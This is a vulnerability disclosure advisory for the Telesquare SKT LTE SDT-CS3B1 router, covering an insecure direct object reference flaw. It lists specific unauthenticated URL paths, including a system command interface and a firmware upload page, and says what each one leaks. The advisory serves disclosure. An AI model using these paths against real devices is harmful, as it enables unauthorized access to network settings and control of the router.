The Telesquare SKT LTE SDT-CS3B1 router suffers from an insecure direct object reference vulnerability that leaks information.
db1593281d62ffff1489492ceca8e361Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak
Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
LteVer: ML300S5XEA41_090 1 0.1.0
Modem model: PM-L300S
Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.
Desc: Insecure direct object references occur when an application
provides direct access to objects based on user-supplied input. As
a result of this vulnerability attackers can bypass authorization
and access resources and functionalities in the system.
Tested on: lighttpd/1.4.20
Linux mips
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5445
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5445.php
22.12.2017
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/home.html << Version and status info leak (firmware, device, type, modem, lte)
/index.html << Version and status info leak (firmware, device, type, modem, lte)
/nas/smbsrv.shtml << Samba server settings (workgroup, netbios name)
/nas/ftpsrv.shtml << FTP settings
/wifi2g/basic.shtml << Wireless settings
/admin/status.shtml << Access point status info leak
/internet/wan.shtml << WAN settings info leak (wanip, subnet, gateway, macaddr, lteipaddr, dns)
/internet/lan.shtml << LAN settings info leak (dhcpip, lanip, macaddr, gateway, subnet, dns)
/admin/statistic.shtml << System statistics info leak
/admin/management.shtml << System management (account settings, ntp settings, ddns settings)
/serial/serial_direct.shtml << Direct serial settings (network connection settings, serverip, port)
/admin/system_command.shtml << System command interface
/internet/dhcpcliinfo.shtml << DHCP Clients info leak (hostname, macaddr, ipaddr)
/admin/upload_firmware.shtml << Router firmware and lte firmware upgrade
/firewall/vpn_futuresystem.shtml << VPN settings (udp packet transfer, icmp check)
/cgi-bin/lte.cgi?Command=getUiccState << GetUiccState()
/cgi-bin/lte.cgi?Command=getModemStatus << Modem status info leak
/cgi-bin/systemutil.cgi?Command=SystemInfo << System info leak